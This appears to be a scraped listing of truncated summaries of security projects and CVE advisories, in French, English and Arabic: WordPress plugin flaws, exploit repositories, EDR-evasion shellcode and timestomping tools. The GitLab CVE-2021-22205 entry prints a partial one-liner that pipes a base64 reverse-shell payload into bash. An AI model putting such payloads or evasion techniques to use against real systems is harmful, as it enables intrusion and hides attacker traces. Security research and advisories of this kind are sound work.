zannotate

ZAnnotate ZAnnotate est un utilitaire Go qui facilite l'annotation de grands ensembles d'adresses IP avec des métadonnées réseau. Actuellement, cela inclut : CLI Flag| Description| Nécessite une clé API| Nécessite un téléchargement de données ---|---|---|--- --censys| Renseignement internet Censy...

CVE-2026-105990

The Accept PayPal Payments using Contact Form 7 WordPress plugin before 4.0.7 does not perform any authorization checks before exporting stored form submissions, allowing unauthenticated attackers to download the personal data name, email, telephone, postal address, message and payment metadata o...

EUVD-2026-96123

The Accept PayPal Payments using Contact Form 7 WordPress plugin before 4.0.7 does not perform any authorization or request-validation checks on one of its AJAX actions, allowing unauthenticated attackers to forge the stored transaction status of records and to write the Accept PayPal Payments...

CVE-2026-105989

The Accept PayPal Payments using Contact Form 7 WordPress plugin, in versions before 4.0.7 , is vulnerable to unauthenticated transaction status forgery. The root cause is a lack of authorization and request-validation checks on one of its AJAX actions. This allows an unauthenticated attacker to ...

CVE-2026-105989 Accept PayPal Payments using Contact Form 7 < 4.0.7 - Unauthenticated Transaction Status Forgery

The Accept PayPal Payments using Contact Form 7 WordPress plugin before 4.0.7 does not perform any authorization or request-validation checks on one of its AJAX actions, allowing unauthenticated attackers to forge the stored transaction status of records and to write the Accept PayPal Payments...

CVE-2026-104723

The LifterLMS WordPress plugin (versions

CVE-2024-1071-Docker

CVE-2024-1071 avec Docker 🎯 Vous voulez vous entraîner avec la nouvelle CVE WordPress ? Suivez les instructions Construire le lab 1. Installer Docker : https://docs.docker.com/get-docker/ 2. Cloner le projet : git clone https://github.com/Trackflaw/CVE-2024-1071-Docker.git. 3. Aller dans le proje...

GitLab-preauth-RCE_CVE-2021-22205

GitLab-preauth-RCECVE-2021-22205 PoC bash en une ligne pour GitLab preauth RCE CVE-2021-22205 t="http://vuln.site";cmd='echo xxxbase64ofreverseshellcodexxx |base64 -d|bash';f="1.jpg";echo...

evine

Evine Interactive CLI Web Crawler. Evine is a simple, fast, and interactive web crawler and web scraper written in Golang. Evine is useful for a wide range of purposes such as metadata and data extraction, data mining, reconnaissance and testing. If you like the project, give it a star. It forces...

frostbyte

FrostByte المقدمة: في الأيام القليلة الماضية كنت أجرب تقنية حقن مدير AppDomain وحققت نجاحًا جيدًا بها في مهام الفريق الأحمر السابقة ضد بعض أنظمة EDR. على الرغم من أن هذا جيد جدًا كناقل وصول أولي، أردت إصدار POC يساعد في إخفاء شيلكودك في مكان آخر. لا مزيد من ملفات DLL المضمنة في الشيلكود! المشكلة!...

CVE-2025-47917

Exploit CVE-2025-47917 Use-After-Free dans mbedTLS Auteur : Byte Reaper Telegram : @ByteReaper0 CVE : CVE-2025-47917 Vulnérabilité : Use-After-Free UAF dans l'analyse de noms de mbedTLS 3.6.4 Description Ce dépôt contient un exploit ciblant une vulnérabilité Use-After-Free dans la fonction...

MozCache

MozCache script Bash Script shell simple pour effectuer une analyse forensique du cache des navigateurs Mozilla Firefox, Iceweasel et Seamonkey. Le script ordonne par date les fichiers mis en cache par un navigateur de la famille Mozilla utilisant la version 2 du cache. En plus du nom de chaque...

CVE-2022-36231

CVE-2022-36231 Le gem Ruby pdfinfo /dev/null Comme pour la méthode initialize, aucune validation n'est effectuée sur la variable @pdfpath. Cela permet d'utiliser le chaînage de commandes avec ; pour exécuter une commande ar...

CVE-2026-33267-PoC

CVE-2026-33267 — Apache Traffic Server en-tête @ non fiable → usurpation de métadonnées internes CVSS 10.0 Critique · CWE-20 · GHSA-jrh6-9hgv-mqm7 Résumé Apache Traffic Server réserve les en-têtes préfixés par @ @Ats-Internal, @ICAP-Status, @TCPInfo, ... pour des métadonnées internes : ils vivent...

Stompy

Stompy Une fonction PowerShell pour effectuer du timestomping sur des fichiers et répertoires spécifiés. La fonction peut modifier les horodatages de manière récursive pour tous les fichiers d'un répertoire. Modifier les horodatages de fichiers ou répertoires individuels. Appliquer récursivement...

Linux Distros Unpatched Vulnerability : CVE-2026-107821

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - MariaDB server is a community developed fork of MySQL server. From 10.6.1 until 10.6.28, 10.11.19, 11.4.13, 11.8.9, 12.3.3, and 13.0.2, MariaDB insufficiently...

web-wordlist-generator

WEB-Wordlist-Generator ملاحظة: يجب عليك بالتأكيد استخدامه للأنشطة القانونية. يرجى الاطلاع على: USAGEPOLICY.md LICENSE الوصف يقوم WEB-Wordlist-Generator بمسح تطبيقات الويب الخاصة بك وينشئ قوائم كلمات ذات صلة لاتخاذ إجراءات مضادة أولية ضد الهجمات الإلكترونية. لقطة الشاشة تم الإنجاز مسح الملفات...

WP_CROP_RCE

Rapport d'analyse WordPress Image CROP RCE POC et Dockekfile : https://github.com/synod2/WPCROPRCE Ce document traite des vulnérabilités découvertes dans les versions antérieures à Wordpress 4.9.9 et 5.0.1, connues sous le nom de WordPress Image CROP RCE, à savoir CVE-2019-8942 et CVE-2019-8943...

Exif-Remove

Outil en ligne de commande - Supprimez les données Exif facilement Cet outil est créé en Python 2.7 compilé avec pyinstaller pour Windows. Rien de spécial, il me facilite simplement le travail, peut-être le fera-t-il aussi pour vous. Pour quelle raison ? Les Exif sont des métadonnées cachées dans...

CVE-2017-9096-iText-XXE

CVE-2017-9096 1. Création du PDF malveillant contenant une XXE Obtenez un PDF contenant un formulaire : wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmitExample.pdf -O input.pdf Décompresser le PDF Pour cela, vous devez décompresser le PDF avec qpdf --qdf...